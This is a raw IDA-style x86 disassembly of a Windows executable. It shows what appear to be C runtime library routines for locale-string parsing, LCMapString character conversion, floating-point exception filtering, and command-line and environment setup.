push offset dword_447854
call sub_418A30
add esp, 8
test eax, eax
jz loc_427318
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_88]
push ecx
call sub_4273D0
add esp, 8
test eax, eax
jz short loc_4272A0
xor eax, eax
jmp loc_427360
; ---------------------------------------------------------------------------
loc_4272A0: ; CODE XREF: sub_4271E0+B7j
lea edx, [ebp+var_88]
push edx
push offset dword_4DE060
lea eax, [ebp+var_88]
push eax
call sub_42D2B0
add esp, 0Ch
test eax, eax
jnz short loc_4272C6
xor eax, eax
jmp loc_427360
; ---------------------------------------------------------------------------
loc_4272C6: ; CODE XREF: sub_4271E0+DDj
xor ecx, ecx
mov cx, word_4DE064
mov dword_4DE068, ecx
lea edx, [ebp+var_88]
push edx
push offset dword_4478D8
call sub_427530
add esp, 8
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_427306
mov edx, [ebp+arg_0]
push edx
push offset dword_447854
call sub_418870
add esp, 8
jmp short loc_427318
; ---------------------------------------------------------------------------
loc_427306: ; CODE XREF: sub_4271E0+111j
push offset dword_4478D8
push offset dword_447854
call sub_418870
add esp, 8
loc_427318: ; CODE XREF: sub_4271E0+83j
; sub_4271E0+9Cj ...
cmp [ebp+arg_8], 0
jz short loc_427331
push 6
push offset dword_4DE060
mov eax, [ebp+arg_8]
push eax
call sub_419330
add esp, 0Ch
loc_427331: ; CODE XREF: sub_4271E0+13Cj
cmp [ebp+arg_C], 0
jz short loc_42734A
push 4
push offset dword_4DE068
mov ecx, [ebp+arg_C]
push ecx
call sub_419330
add esp, 0Ch
loc_42734A: ; CODE XREF: sub_4271E0+155j
push offset dword_4478D8
mov edx, [ebp+arg_4]
push edx
call sub_418870
add esp, 8
mov eax, offset dword_4478D8
loc_427360: ; CODE XREF: sub_4271E0+11j
; sub_4271E0+6Bj ...
mov esp, ebp
pop ebp
retn
sub_4271E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427370 proc near ; CODE XREF: sub_426F40+12Bp
; DATA XREF: .data:off_447968o
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_427370 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427380 proc near ; CODE XREF: sub_4270E0+75p
; sub_427530+30p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp+arg_8]
mov [ebp+var_4], eax
mov [ebp+var_8], 0
jmp short loc_42739E
; ---------------------------------------------------------------------------
loc_427395: ; CODE XREF: sub_427380+42j
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_42739E: ; CODE XREF: sub_427380+13j
mov edx, [ebp+var_8]
cmp edx, [ebp+arg_4]
jge short loc_4273C4
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov edx, [ecx-4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_418880
add esp, 8
jmp short loc_427395
; ---------------------------------------------------------------------------
loc_4273C4: ; CODE XREF: sub_427380+24j
mov [ebp+var_4], 0
mov esp, ebp
pop ebp
retn
sub_427380 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4273D0 proc near ; CODE XREF: sub_4271E0+ADp
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push 88h
push 0
mov eax, [ebp+arg_0]
push eax
call sub_417700
add esp, 0Ch
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_4273FA
xor eax, eax
jmp loc_427529
; ---------------------------------------------------------------------------
loc_4273FA: ; CODE XREF: sub_4273D0+21j
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
cmp ecx, 2Eh
jnz short loc_427430
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx+1]
test eax, eax
jz short loc_427430
mov ecx, [ebp+arg_4]
add ecx, 1
push ecx
mov edx, [ebp+arg_0]
add edx, 80h
push edx
call sub_418870
add esp, 8
xor eax, eax
jmp loc_427529
; ---------------------------------------------------------------------------
loc_427430: ; CODE XREF: sub_4273D0+33j
; sub_4273D0+3Ej
mov [ebp+var_4], 0
jmp short loc_427442
; ---------------------------------------------------------------------------
loc_427439: ; CODE XREF: sub_4273D0+152j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_427442: ; CODE XREF: sub_4273D0+67j
push offset a___0 ; "_.,"
mov ecx, [ebp+arg_4]
push ecx
call sub_42D230
add esp, 8
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_427464
or eax, 0FFFFFFFFh
jmp loc_427529
; ---------------------------------------------------------------------------
loc_427464: ; CODE XREF: sub_4273D0+8Aj
mov edx, [ebp+arg_4]
add edx, [ebp+var_C]
mov al, [edx]
mov [ebp+var_8], al
cmp [ebp+var_4], 0
jnz short loc_42749A
cmp [ebp+var_C], 40h
jge short loc_42749A
movsx ecx, [ebp+var_8]
cmp ecx, 2Eh
jz short loc_42749A
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_417760
add esp, 0Ch
jmp short loc_427500
; ---------------------------------------------------------------------------
loc_42749A: ; CODE XREF: sub_4273D0+A3j
; sub_4273D0+A9j ...
cmp [ebp+var_4], 1
jnz short loc_4274C8
cmp [ebp+var_C], 40h
jge short loc_4274C8
movsx edx, [ebp+var_8]
cmp edx, 5Fh
jz short loc_4274C8
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
add edx, 40h
push edx
call sub_417760
add esp, 0Ch
jmp short loc_427500
; ---------------------------------------------------------------------------
loc_4274C8: ; CODE XREF: sub_4273D0+CEj
; sub_4273D0+D4j ...
cmp [ebp+var_4], 2
jnz short loc_4274FB
movsx eax, [ebp+var_8]
test eax, eax
jz short loc_4274DF
movsx ecx, [ebp+var_8]
cmp ecx, 2Ch
jnz short loc_4274FB
loc_4274DF: ; CODE XREF: sub_4273D0+104j
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
add ecx, 80h
push ecx
call sub_417760
add esp, 0Ch
jmp short loc_427500
; ---------------------------------------------------------------------------
loc_4274FB: ; CODE XREF: sub_4273D0+FCj
; sub_4273D0+10Dj
or eax, 0FFFFFFFFh
jmp short loc_427529
; ---------------------------------------------------------------------------
loc_427500: ; CODE XREF: sub_4273D0+C8j
; sub_4273D0+F6j ...
movsx edx, [ebp+var_8]
cmp edx, 2Ch
jnz short loc_42750B
jmp short loc_427527
; ---------------------------------------------------------------------------
loc_42750B: ; CODE XREF: sub_4273D0+137j
movsx eax, [ebp+var_8]
test eax, eax
jnz short loc_427515
jmp short loc_427527
; ---------------------------------------------------------------------------
loc_427515: ; CODE XREF: sub_4273D0+141j
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_4]
lea eax, [edx+ecx+1]
mov [ebp+arg_4], eax
jmp loc_427439
; ---------------------------------------------------------------------------
loc_427527: ; CODE XREF: sub_4273D0+139j
; sub_4273D0+143j
xor eax, eax
loc_427529: ; CODE XREF: sub_4273D0+25j
; sub_4273D0+5Bj ...
mov esp, ebp
pop ebp
retn
sub_4273D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427530 proc near ; CODE XREF: sub_4271E0+101p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_418870
add esp, 8
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx+40h]
test eax, eax
jz short loc_427568
mov ecx, [ebp+arg_4]
add ecx, 40h
push ecx
push offset a__2 ; "_"
push 2
mov edx, [ebp+arg_0]
push edx
call sub_427380
add esp, 10h
loc_427568: ; CODE XREF: sub_427530+1Cj
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax+80h]
test ecx, ecx
jz short loc_427593
mov edx, [ebp+arg_4]
add edx, 80h
push edx
push offset a__1 ; "."
push 2
mov eax, [ebp+arg_0]
push eax
call sub_427380
add esp, 10h
loc_427593: ; CODE XREF: sub_427530+44j
pop ebp
retn
sub_427530 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4275A0 proc near ; CODE XREF: sub_41A730+EBp
; sub_421FA0+121p ...
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4353A0
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFDCh
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_4DE08C, 0
jnz short loc_427626
push 0
push 0
push 1
push offset dword_435398
push 100h
push 0
call dword_4E04C8 ; LCMapStringW
test eax, eax
jz short loc_4275F7
mov dword_4DE08C, 1
jmp short loc_427626
; ---------------------------------------------------------------------------
loc_4275F7: ; CODE XREF: sub_4275A0+49j
push 0
push 0
push 1
push offset dword_435394
push 100h
push 0
call dword_4E04C4 ; LCMapStringA
test eax, eax
jz short loc_42761F
mov dword_4DE08C, 2
jmp short loc_427626
; ---------------------------------------------------------------------------
loc_42761F: ; CODE XREF: sub_4275A0+71j
xor eax, eax
jmp loc_427891
; ---------------------------------------------------------------------------
loc_427626: ; CODE XREF: sub_4275A0+2Dj
; sub_4275A0+55j ...
cmp [ebp+arg_C], 0
jle short loc_42763F
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
call sub_4278B0
add esp, 8
mov [ebp+arg_C], eax
loc_42763F: ; CODE XREF: sub_4275A0+8Aj
cmp dword_4DE08C, 2
jnz short loc_42766B
mov edx, [ebp+arg_14]
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_4E04C4 ; LCMapStringA
jmp loc_427891
; ---------------------------------------------------------------------------
loc_42766B: ; CODE XREF: sub_4275A0+A6j
cmp dword_4DE08C, 1
jnz loc_42788F
cmp [ebp+arg_18], 0
jnz short loc_427687
mov edx, dword_4DE084
mov [ebp+arg_18], edx
loc_427687: ; CODE XREF: sub_4275A0+DCj
push 0
push 0
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_1C]
neg edx
sbb edx, edx
and edx, 8
add edx, 1
push edx
mov eax, [ebp+arg_18]
push eax
call dword_4E0428 ; MultiByteToWideChar
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_4276BB
xor eax, eax
jmp loc_427891
; ---------------------------------------------------------------------------
loc_4276BB: ; CODE XREF: sub_4275A0+112j
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_4181D0
mov [ebp+var_30], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_30]
mov [ebp+var_24], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_4276FD
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_4276FD: ; CODE XREF: sub_4275A0+144j
cmp [ebp+var_24], 0
jnz short loc_42770A
xor eax, eax
jmp loc_427891
; ---------------------------------------------------------------------------
loc_42770A: ; CODE XREF: sub_4275A0+161j
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 1
mov eax, [ebp+arg_18]
push eax
call dword_4E0428 ; MultiByteToWideChar
test eax, eax
jnz short loc_427731
xor eax, eax
jmp loc_427891
; ---------------------------------------------------------------------------
loc_427731: ; CODE XREF: sub_4275A0+188j
push 0
push 0
mov ecx, [ebp+var_1C]
push ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_4E04C8 ; LCMapStringW
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_42775B
xor eax, eax
jmp loc_427891
; ---------------------------------------------------------------------------
loc_42775B: ; CODE XREF: sub_4275A0+1B2j
mov edx, [ebp+arg_4]
and edx, 400h
test edx, edx
jz short loc_4277AB
cmp [ebp+arg_14], 0
jz short loc_4277A6
mov eax, [ebp+var_28]
cmp eax, [ebp+arg_14]
jle short loc_42777D
xor eax, eax
jmp loc_427891
; ---------------------------------------------------------------------------
loc_42777D: ; CODE XREF: sub_4275A0+1D4j
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+var_1C]
push eax
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4E04C8 ; LCMapStringW
test eax, eax
jnz short loc_4277A6
xor eax, eax
jmp loc_427891
; ---------------------------------------------------------------------------
loc_4277A6: ; CODE XREF: sub_4275A0+1CCj
; sub_4275A0+1FDj
jmp loc_42788A
; ---------------------------------------------------------------------------
loc_4277AB: ; CODE XREF: sub_4275A0+1C6j
mov ecx, [ebp+var_28]
mov [ebp+var_2C], ecx
mov [ebp+var_4], 1
mov eax, [ebp+var_2C]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_4181D0
mov [ebp+var_34], esp
mov [ebp+var_18], esp
mov edx, [ebp+var_34]
mov [ebp+var_20], edx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_4277F3
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_20], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_4277F3: ; CODE XREF: sub_4275A0+23Aj
cmp [ebp+var_20], 0
jnz short loc_427800
xor eax, eax
jmp loc_427891
; ---------------------------------------------------------------------------
loc_427800: ; CODE XREF: sub_4275A0+257j
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call dword_4E04C8 ; LCMapStringW
test eax, eax
jnz short loc_427826
xor eax, eax
jmp short loc_427891
; ---------------------------------------------------------------------------
loc_427826: ; CODE XREF: sub_4275A0+280j
cmp [ebp+arg_14], 0
jnz short loc_42785A
push 0
push 0
push 0
push 0
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+var_20]
push ecx
push 220h
mov edx, [ebp+arg_18]
push edx
call dword_4E0424 ; WideCharToMultiByte
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_427858
xor eax, eax
jmp short loc_427891
; ---------------------------------------------------------------------------
loc_427858: ; CODE XREF: sub_4275A0+2B2j
jmp short loc_42788A
; ---------------------------------------------------------------------------
loc_42785A: ; CODE XREF: sub_4275A0+28Aj
push 0
push 0
mov eax, [ebp+arg_14]
push eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+var_20]
push eax
push 220h
mov ecx, [ebp+arg_18]
push ecx
call dword_4E0424 ; WideCharToMultiByte
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_42788A
xor eax, eax
jmp short loc_427891
; ---------------------------------------------------------------------------
loc_42788A: ; CODE XREF: sub_4275A0:loc_4277A6j
; sub_4275A0:loc_427858j ...
mov eax, [ebp+var_28]
jmp short loc_427891
; ---------------------------------------------------------------------------
loc_42788F: ; CODE XREF: sub_4275A0+D2j
xor eax, eax
loc_427891: ; CODE XREF: sub_4275A0+81j
; sub_4275A0+C6j ...
lea esp, [ebp-40h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4275A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4278B0 proc near ; CODE XREF: sub_4275A0+94p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
loc_4278C2: ; CODE XREF: sub_4278B0+35j
mov edx, [ebp+var_8]
mov eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_8], eax
test edx, edx
jz short loc_4278E7
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_4278E7
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_4278C2
; ---------------------------------------------------------------------------
loc_4278E7: ; CODE XREF: sub_4278B0+20j
; sub_4278B0+2Aj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_4278F9
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
jmp short loc_4278FC
; ---------------------------------------------------------------------------
loc_4278F9: ; CODE XREF: sub_4278B0+3Fj
mov eax, [ebp+arg_4]
loc_4278FC: ; CODE XREF: sub_4278B0+47j
mov esp, ebp
pop ebp
retn
sub_4278B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427900 proc near ; CODE XREF: sub_41AB00+144p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
call sub_421920
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
mov ecx, [eax+50h]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_427AC0
add esp, 8
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_427933
mov eax, [ebp+var_10]
cmp dword ptr [eax+8], 0
jnz short loc_427942
loc_427933: ; CODE XREF: sub_427900+28j
mov ecx, [ebp+arg_4]
push ecx
call dword_4E04CC ; UnhandledExceptionFilter
jmp loc_427ABA
; ---------------------------------------------------------------------------
loc_427942: ; CODE XREF: sub_427900+31j
mov edx, [ebp+var_10]
cmp dword ptr [edx+8], 5
jnz short loc_42795F
mov eax, [ebp+var_10]
mov dword ptr [eax+8], 0
mov eax, 1
jmp loc_427ABA
; ---------------------------------------------------------------------------
loc_42795F: ; CODE XREF: sub_427900+49j
mov ecx, [ebp+var_10]
cmp dword ptr [ecx+8], 1
jnz short loc_427970
or eax, 0FFFFFFFFh
jmp loc_427ABA
; ---------------------------------------------------------------------------
loc_427970: ; CODE XREF: sub_427900+66j
mov edx, [ebp+var_10]
mov eax, [edx+8]
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+54h]
mov [ebp+var_18], edx
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_4]
mov [eax+54h], ecx
mov edx, [ebp+var_10]
cmp dword ptr [edx+4], 8
jnz loc_427A97
mov eax, dword_447A20
mov [ebp+var_14], eax
jmp short loc_4279AB
; ---------------------------------------------------------------------------
loc_4279A2: ; CODE XREF: sub_427900+D0j
mov ecx, [ebp+var_14]
add ecx, 1
mov [ebp+var_14], ecx
loc_4279AB: ; CODE XREF: sub_427900+A0j
mov edx, dword_447A20
add edx, dword_447A24
cmp [ebp+var_14], edx
jge short loc_4279D2
mov eax, [ebp+var_14]
imul eax, 0Ch
mov ecx, [ebp+var_8]
mov edx, [ecx+50h]
mov dword ptr [edx+eax+8], 0
jmp short loc_4279A2
; ---------------------------------------------------------------------------
loc_4279D2: ; CODE XREF: sub_427900+BAj
mov eax, [ebp+var_8]
mov ecx, [eax+58h]
mov [ebp+var_C], ecx
mov edx, [ebp+var_10]
cmp dword ptr [edx], 0C000008Eh
jnz short loc_4279F5
mov eax, [ebp+var_8]
mov dword ptr [eax+58h], 83h
jmp loc_427A7D
; ---------------------------------------------------------------------------
loc_4279F5: ; CODE XREF: sub_427900+E4j
mov ecx, [ebp+var_10]
cmp dword ptr [ecx], 0C0000090h
jnz short loc_427A0C
mov edx, [ebp+var_8]
mov dword ptr [edx+58h], 81h
jmp short loc_427A7D
; ---------------------------------------------------------------------------
loc_427A0C: ; CODE XREF: sub_427900+FEj
mov eax, [ebp+var_10]
cmp dword ptr [eax], 0C0000091h
jnz short loc_427A23
mov ecx, [ebp+var_8]
mov dword ptr [ecx+58h], 84h
jmp short loc_427A7D
; ---------------------------------------------------------------------------
loc_427A23: ; CODE XREF: sub_427900+115j
mov edx, [ebp+var_10]
cmp dword ptr [edx], 0C0000093h
jnz short loc_427A3A
mov eax, [ebp+var_8]
mov dword ptr [eax+58h], 85h
jmp short loc_427A7D
; ---------------------------------------------------------------------------
loc_427A3A: ; CODE XREF: sub_427900+12Cj
mov ecx, [ebp+var_10]
cmp dword ptr [ecx], 0C000008Dh
jnz short loc_427A51
mov edx, [ebp+var_8]
mov dword ptr [edx+58h], 82h
jmp short loc_427A7D
; ---------------------------------------------------------------------------
loc_427A51: ; CODE XREF: sub_427900+143j
mov eax, [ebp+var_10]
cmp dword ptr [eax], 0C000008Fh
jnz short loc_427A68
mov ecx, [ebp+var_8]
mov dword ptr [ecx+58h], 86h
jmp short loc_427A7D
; ---------------------------------------------------------------------------
loc_427A68: ; CODE XREF: sub_427900+15Aj
mov edx, [ebp+var_10]
cmp dword ptr [edx], 0C0000092h
jnz short loc_427A7D
mov eax, [ebp+var_8]
mov dword ptr [eax+58h], 8Ah
loc_427A7D: ; CODE XREF: sub_427900+F0j
; sub_427900+10Aj ...
mov ecx, [ebp+var_8]
mov edx, [ecx+58h]
push edx
push 8
call [ebp+var_4]
add esp, 8
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov [eax+58h], ecx
jmp short loc_427AAE
; ---------------------------------------------------------------------------
loc_427A97: ; CODE XREF: sub_427900+92j
mov edx, [ebp+var_10]
mov dword ptr [edx+8], 0
mov eax, [ebp+var_10]
mov ecx, [eax+4]
push ecx
call [ebp+var_4]
add esp, 4
loc_427AAE: ; CODE XREF: sub_427900+195j
mov edx, [ebp+var_8]
mov eax, [ebp+var_18]
mov [edx+54h], eax
or eax, 0FFFFFFFFh
loc_427ABA: ; CODE XREF: sub_427900+3Dj
; sub_427900+5Aj ...
mov esp, ebp
pop ebp
retn
sub_427900 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427AC0 proc near ; CODE XREF: sub_427900+19p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_427ACA: ; CODE XREF: sub_427AC0+30j
mov ecx, [ebp+var_4]
mov edx, [ecx]
cmp edx, [ebp+arg_0]
jz short loc_427AF2
mov eax, [ebp+var_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ecx, dword_447A2C
imul ecx, 0Ch
mov edx, [ebp+arg_4]
add edx, ecx
cmp [ebp+var_4], edx
jnb short loc_427AF2
jmp short loc_427ACA
; ---------------------------------------------------------------------------
loc_427AF2: ; CODE XREF: sub_427AC0+12j
; sub_427AC0+2Ej
mov eax, dword_447A2C
imul eax, 0Ch
mov ecx, [ebp+arg_4]
add ecx, eax
cmp [ebp+var_4], ecx
jnb short loc_427B0E
mov edx, [ebp+var_4]
mov eax, [edx]
cmp eax, [ebp+arg_0]
jz short loc_427B12
loc_427B0E: ; CODE XREF: sub_427AC0+42j
xor eax, eax
jmp short loc_427B15
; ---------------------------------------------------------------------------
loc_427B12: ; CODE XREF: sub_427AC0+4Cj
mov eax, [ebp+var_4]
loc_427B15: ; CODE XREF: sub_427AC0+50j
mov esp, ebp
pop ebp
retn
sub_427AC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427B20 proc near ; CODE XREF: sub_41AB00+E8p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp dword_4DF68C, 0
jnz short loc_427B32
call sub_4222D0
loc_427B32: ; CODE XREF: sub_427B20+Bj
mov eax, dword_4DF684
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 22h
jnz short loc_427B9C
loc_427B46: ; CODE XREF: sub_427B20:loc_427B83j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 22h
jz short loc_427B85
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_427B85
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
push eax
call sub_42E150
add esp, 4
test eax, eax
jz short loc_427B83
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_427B83: ; CODE XREF: sub_427B20+58j
jmp short loc_427B46
; ---------------------------------------------------------------------------
loc_427B85: ; CODE XREF: sub_427B20+39j
; sub_427B20+44j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
cmp eax, 22h
jnz short loc_427B9A
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_427B9A: ; CODE XREF: sub_427B20+6Fj
jmp short loc_427BB3
; ---------------------------------------------------------------------------
loc_427B9C: ; CODE XREF: sub_427B20+24j
; sub_427B20+91j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
cmp eax, 20h
jle short loc_427BB3
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_427B9C
; ---------------------------------------------------------------------------
loc_427BB3: ; CODE XREF: sub_427B20:loc_427B9Aj
; sub_427B20+86j ...
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_427BD5
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 20h
jg short loc_427BD5
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_427BB3
; ---------------------------------------------------------------------------
loc_427BD5: ; CODE XREF: sub_427B20+9Cj
; sub_427B20+A8j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_427B20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427BE0 proc near ; CODE XREF: sub_41AB00+CDp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
cmp dword_4DF68C, 0
jnz short loc_427BF4
call sub_4222D0
loc_427BF4: ; CODE XREF: sub_427BE0+Dj
mov [ebp+var_8], 0
mov eax, dword_4DDFD0
mov [ebp+var_4], eax
loc_427C03: ; CODE XREF: sub_427BE0+57j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_427C39
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 3Dh
jz short loc_427C21
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
loc_427C21: ; CODE XREF: sub_427BE0+36j
mov eax, [ebp+var_4]
push eax
call sub_414EC0
add esp, 4
mov ecx, [ebp+var_4]
lea edx, [ecx+eax+1]
mov [ebp+var_4], edx
jmp short loc_427C03
; ---------------------------------------------------------------------------
loc_427C39: ; CODE XREF: sub_427BE0+2Bj
push 6Dh
push offset dword_4353B8
push 2
mov eax, [ebp+var_8]
lea ecx, ds:4[eax*4]
push ecx
call sub_4150C0
add esp, 10h
mov [ebp+var_C], eax
mov edx, [ebp+var_C]
mov dword_4DDFA0, edx
cmp dword_4DDFA0, 0
jnz short loc_427C74
push 9
call sub_41AC70
add esp, 4
loc_427C74: ; CODE XREF: sub_427BE0+88j
mov eax, dword_4DDFD0
mov [ebp+var_4], eax
jmp short loc_427C87
; ---------------------------------------------------------------------------
loc_427C7E: ; CODE XREF: sub_427BE0:loc_427CF5j
mov ecx, [ebp+var_4]
add ecx, [ebp+var_10]
mov [ebp+var_4], ecx
loc_427C87: ; CODE XREF: sub_427BE0+9Cj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_427CF7
mov ecx, [ebp+var_4]
push ecx
call sub_414EC0
add esp, 4
add eax, 1
mov [ebp+var_10], eax
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 3Dh
jz short loc_427CF5
push 79h
push offset dword_4353B8
push 2
mov ecx, [ebp+var_10]
